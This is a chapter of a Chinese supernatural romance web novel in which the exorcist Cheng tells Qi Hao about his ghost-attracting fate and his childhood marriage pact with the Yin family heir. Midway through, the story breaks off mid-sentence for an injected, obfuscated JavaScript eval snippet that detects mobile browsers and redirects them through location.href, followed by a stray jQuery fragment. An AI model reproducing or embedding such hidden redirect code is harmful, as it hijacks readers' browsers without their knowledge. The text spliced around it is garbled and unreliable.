青竹酒 作品

20.从小就知道伺候媳妇

他一头撞到了程瞎子家里,程瞎子和他爷爷一个看邪病,一个做白事儿,在村子里算是交情好的,他爷爷走之前还嘱咐过他遇到了什么事儿可以过来找程瞎子,院子里的狗嚎叫了两声见是祁昊又趴回了窝里,程瞎子从屋里出来用那仅剩的一只眼睛打量了一下眼前的人故意打趣出声:


“呦,这殷家的小儿婿从哪冒出来的?一大早慌慌张张的,撞鬼了?”


程瞎子此刻看着这消失了快十天,却闹得整个村子都鸡飞狗跳的人戳着笑模样打趣。


祁昊一把关上了程家的大门,脸白的像是刚刷完的墙:


“程爷爷,救命,我还真是撞鬼了。”


虽然他爷爷总说程瞎子坑蒙拐骗,但是不得不说这程瞎子还真有点儿别人没有的本事。


程瞎子给祁昊盛了一碗粥,又在锅里多蒸了两个包子,拉着人在院子里的小桌旁坐下,祁昊喝了一口热粥,感觉像是活过来了几分,他细想这些天发生的事儿,不对头的事儿其实就是从他离开殷家那天开始的,他被祁广庆请到家里坐席,而且那天程瞎子也在,他从席上离开之后就去了土地庙外面挖金子,然后就被迷住了。


好不容易醒过来,回来就听说祁广庆一家都死的离奇,现在更是接连撞鬼。


“程爷爷,那天从祁广庆家坐席出来后,您没遇到什么不对劲儿的事儿吗?”


程瞎子瞅了瞅他:


“哼,祁广庆的席?那席是阴席你没看出来啊?”


祁昊想起了在席上他像是做梦的时候看到的画面,那席上恐怕除了祁广庆一家还有他和程瞎子之外根本一个活人也没有,所以那席说是祁广庆请人,不如说是想要他命的邪祟给祁广庆一家办的席,席吃完了,人也就该走了。


而他和程瞎子都是走白事儿的人,本来身上的阴气就比一般人重,这样的人两边通吃,请了也就请了,只要席上没做什么出格的,冤有头债有主,席散了他们也能出来,这样的阴席他只小时候听爷爷说过,却是真的头一次遇到。


程瞎子瞄了他一眼:


“想明白了?”


“所以那天在席上您就看出来了?”


程瞎子哼笑了一声


“祁广庆那一家子的孽都写在脑门上了,早死晚死都得死,咱们就当是吃了顿席送他们一程。”


这话听在别人的耳朵里或许有些薄凉,但是祁昊却不以为意,他也不是第一次见这种讨债的,有的人救得,有的人救不得,因为有些债就是要用命偿,祁昊想起了那半张狗脸的小女孩儿:


“是他家的那个女儿做的。”


程瞎子抬头,神色有点儿不对劲儿:


“你能看到她?”


祁昊点头。


“从什么时候能看到的?”


“去殷家前一晚,祁广庆父子俩去我那买小孩儿用的棺材,他们走的时候我隐约看到了一个女孩儿趴在祁广庆儿子的背上,后来,席上我又见到过她。”


程瞎子脸色微微沉了些,低头自己笑声嘀咕着什么,祁昊没听清:


“您说什么?”


“你这几天跑哪去了?刚才说撞鬼是怎么回事儿?”


祁昊到了这里也就不再隐瞒,将被殷晁霆迷了的事儿加上这两天撞邪的事儿都说了,只是隐去了他在土地庙前挖黄金的事儿,毕竟黄金这东西太值钱了,难保不会横生事端。


“你说你最近晚上能看到脏东西,它还进了你的屋子?”


“对,是从院子里的水井中爬出来的,那个,那个殷家的少爷还上了我的床,非要我和他一块儿睡。”


祁昊现在一个头好几个大,忍不住吐槽:


“您说我爷爷这心也太好了,如果不结这什么破亲事什么事儿也没有,这倒好,自从这个殷家找过来全是麻烦。”


祁昊真的很烦,本来他日子过的好好的,平地砸下来一个什么鬼婚约,现在好了,婚约的对象真成鬼了,还缠住他了。


程瞎子点着了烟袋,一口一口抽着,看了看眼前祁老头宝贝的和眼珠子似的孙子:


“你爷爷做了一辈子白事儿,死人在他眼里就是一坨肉,活人那就是待死的肉,生与死他看的比纸还薄,会因为同情有钱人家的一个孙子就把你搭进去结什么婚契?”


祁昊骤然抬头:


“我就知道祁二顺骗我,果然,就是他拿了殷家的钱作假弄的婚契,这个王八...”


还不等他骂完,烟袋就磕到了他身上:


“你那个王八二叔没骗你,这婚约确实是你爷爷和殷家老不死的立的。”


“什么?”


程瞎子看着他,他这辈子无儿无女的,命硬,身边沾亲带故有点儿血缘关系的亲人都没了,祁家这小子是他看着出生的,祁老爷子早年也算对他有恩,现在留在这么个一身麻烦的小崽子真是头疼。


“这人人生来就带着命格出生,你命格偏的邪乎,是闰年闰月最后一天的十二点正中,格外的招阴,你从会走路了就喜欢去坟地,你小时候是个话唠唠,在那一呆能呆一天,连说带唠的,寻常走在路上你身边明明一个人都没有,你也侧过头和它说话。


小孩儿的眼睛是明亮,偶尔能看到些不干净的东西,但是像你这样不和活人说话,只去和死的交


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565265|170480||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


流感情的小孩儿村子的人谁敢靠近?”


祁昊自己听着这个事儿脊背都是一层的冷汗,别说是村子里的人,现在他要是看到别人这样他也躲得远远的,所以他小时候眼睛就是能看到那些脏东西的?


程瞎子叹了口气:


“村子里的人都说你邪性,你爷爷用了很多办法也不奏效,直到有一天,殷家那位发了财的爷带着他的小孙子到了村子里。


他那小孙子一看就是个短命鬼,不光是他,他们殷家的寿一看就都被那老爷子给占去了,殷家两女一儿没一个好死的,这老小子可能是想要给殷家留下个香火,想到了结契留命的法子,你爷爷起初不怎么理会这个事儿,那殷家老爷子就说想让小孙子在你家沾点儿福气,让他那小孙子在你家住了一段时间。”


祁昊睁大眼睛:


“殷晁霆在我家住过?”


他发了那次烧是连着这个事儿都给忘了?


程瞎子点了点头:


“嗯,穷人家好养活,尤其是你爷爷这种做白事儿的,攒阴德,从前是有这么个说法,就是孩子小的时候不好养活,送到这种人家养养,或许过段时间就好了,你爷爷也知道,所以默许了殷家那小孩儿住在你家。”


“他住了多久?”


“起初你爷爷也就留人住个一周就准备给送回去,但是后来发现自从他来了,你就不往坟地跑了,也不莫名其妙地和那些脏东西说话了,每天就缠着殷家那孩子,说来人与人之间的缘分倒是也怪,那孩子小的时候病殃殃的,瘦的一把骨头,和谁都不怎么说话,唯独对你很好。


我那个时候去你家,就见早晨那孩子给你穿衣服,穿鞋,喂你吃饭,把你伺候的好像是那从前地主老财家的公子哥似的,你爷爷看你渐渐正常了就主动多留了那孩子在你家住,好像是住了快两个月吧。


后来你爷爷专门合了你们的八字,还把我给找去了,说实在的这辈子我还是第一次看到这么相和的八字,就像是那被掰成两半的铜板,锯齿都对的严丝合缝,你缺什么他就有什么,他缺什么你就有什么,你爷爷这才真的动了给你们结契成婚的念头。


不过到底是两个男孩子,你爷爷吃不准,想着不如多留那孩子在你家住住,没准住一段时间你就好了呢。”


祁昊追问:


“那后来呢?为什么又结了?”


“后来那孩子回去了,你好了没两天就又开始往坟地跑,你爷哪还甘心啊,最后就让你和殷家那孩子结了契,说来也怪,结契后你生了一场大病,病好了之后从前的事儿都不记得了,但是人却正常了,再也没往坟圈子跑过。”